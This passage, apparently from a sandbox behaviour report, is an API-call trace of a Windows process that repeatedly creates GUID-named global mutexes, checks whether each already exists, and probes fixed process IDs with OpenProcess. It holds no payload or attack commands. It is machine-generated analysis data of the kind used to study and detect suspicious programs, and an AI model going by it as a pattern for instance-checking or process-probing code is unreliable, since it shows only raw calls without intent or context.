[2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.395] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.396] GetLastError () returned 0xb7 [0132.396] CloseHandle (hObject=0x56c) returned 1 [0132.396] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.396] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.396] GetLastError () returned 0xb7 [0132.396] CloseHandle (hObject=0x56c) returned 1 [0132.397] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.397] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.397] GetLastError () returned 0x0 [0132.397] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.397] CloseHandle (hObject=0x56c) returned 1 [0132.397] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.397] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.397] GetLastError () returned 0x0 [0132.397] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.397] CloseHandle (hObject=0x56c) returned 1 [0132.397] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.397] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.397] GetLastError () returned 0xb7 [0132.398] CloseHandle (hObject=0x56c) returned 1 [0132.405] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.405] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.405] GetLastError () returned 0xb7 [0132.405] CloseHandle (hObject=0x56c) returned 1 [0132.520] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.520] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.520] GetLastError () returned 0xb7 [0132.520] CloseHandle (hObject=0x56c) returned 1 [0132.520] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.520] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.520] GetLastError () returned 0xb7 [0132.520] CloseHandle (hObject=0x56c) returned 1 [0132.521] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.521] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.521] GetLastError () returned 0x0 [0132.521] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.521] CloseHandle (hObject=0x56c) returned 1 [0132.521] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.521] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.521] GetLastError () returned 0x0 [0132.521] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.521] CloseHandle (hObject=0x56c) returned 1 [0132.522] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.522] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.522] GetLastError () returned 0xb7 [0132.522] CloseHandle (hObject=0x56c) returned 1 [0132.529] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.529] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.529] GetLastError () returned 0xb7 [0132.529] CloseHandle (hObject=0x56c) returned 1 [0132.629] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.629] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.629] GetLastError () returned 0xb7 [0132.629] CloseHandle (hObject=0x56c) returned 1 [0132.629] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.629] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.629] GetLastError () returned 0xb7 [0132.629] CloseHandle (hObject=0x56c) returned 1 [0132.630] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.630] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.630] GetLastError () returned 0x0 [0132.630] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.630] CloseHandle (hObject=0x56c) returned 1 [0132.630] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.630] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.630] GetLastError () returned 0x0 [0132.630] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.631] CloseHandle (hObject=0x56c) returned 1 [0132.631] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.631] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.631] GetLastError () returned 0xb7 [0132.631] CloseHandle (hObject=0x56c) returned 1 [0132.638] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.638] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.638] GetLastError () returned 0xb7 [0132.638] CloseHandle (hObject=0x56c) returned 1 [0132.754] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.754] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.754] GetLastError () returned 0xb7 [0132.754] CloseHandle (hObject=0x56c) returned 1 [0132.754] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.754] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.754] GetLastError () returned 0xb7 [0132.754] CloseHandle (hObject=0x56c) returned 1 [0132.755] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.755] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.755] GetLastError () returned 0x0 [0132.755] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.755] CloseHandle (hObject=0x56c) returned 1 [0132.755] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.755] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.755] GetLastError () returned 0x0 [0132.755] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.755] CloseHandle (hObject=0x56c) returned 1 [0132.756] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.756] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.756] GetLastError () returned 0xb7 [0132.756] CloseHandle (hObject=0x56c) returned 1 [0132.763] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.763] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.763] GetLastError () returned 0xb7 [0132.763] CloseHandle (hObject=0x56c) returned 1 [0132.878] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.878] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.879] GetLastError () returned 0xb7 [0132.879] CloseHandle (hObject=0x56c) returned 1 [0132.879] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.879] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.879] GetLastError () returned 0xb7 [0132.879] CloseHandle (hObject=0x56c) returned 1 [0132.880] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.880] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.880] GetLastError () returned 0x0 [0132.880] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.880] CloseHandle (hObject=0x56c) returned 1 [0132.880] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.880] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.880] GetLastError () returned 0x0 [0132.880] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.880] CloseHandle (hObject=0x56c) returned 1 [0132.880] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.880] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.881] GetLastError () returned 0xb7 [0132.881] CloseHandle (hObject=0x56c) returned 1 [0132.887] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.887] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.887] GetLastError () returned 0xb7 [0132.888] CloseHandle (hObject=0x56c) returned 1 [0132.988] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.988] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.988] GetLastError () returned 0xb7 [0132.988] CloseHandle (hObject=0x56c) returned 1 [0132.988] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.988] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.989] GetLastError () returned 0xb7 [0132.989] CloseHandle (hObject=0x56c) returned 1 [0132.989] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.989] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.989] GetLastError () returned 0x0 [0132.989] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.989] CloseHandle (hObject=0x56c) returned 1 [0132.990] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.990] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.990] GetLastError () returned 0x0 [0132.990] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.990] CloseHandle (hObject=0x56c) returned 1 [0132.990] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.990] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.990] GetLastError () returned 0xb7 [0132.990] CloseHandle (hObject=0x56c) returned 1 [0132.997] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.997] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.997] GetLastError () returned 0xb7 [0132.997] CloseHandle (hObject=0x56c) returned 1 [0133.113] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.113] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0133.113] GetLastError () returned 0xb7 [0133.113] CloseHandle (hObject=0x56c) returned 1 [0133.113] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.113] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0133.113] GetLastError () returned 0xb7 [0133.113] CloseHandle (hObject=0x56c) returned 1 [0133.114] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.114] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0133.114] GetLastError () returned 0x0 [0133.114] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.114] CloseHandle (hObject=0x56c) returned 1 [0133.114] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.114] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0133.114] GetLastError () returned 0x0 [0133.114] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.114] CloseHandle (hObject=0x56c) returned 1 [0133.115] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.115] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0133.115] GetLastError () returned 0xb7 [0133.115] CloseHandle (hObject=0x56c) returned 1 [0133.122] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.122] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0133.122] GetLastError () returned 0xb7 [0133.123] CloseHandle (hObject=0x56c) returned 1 [0133.237] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, 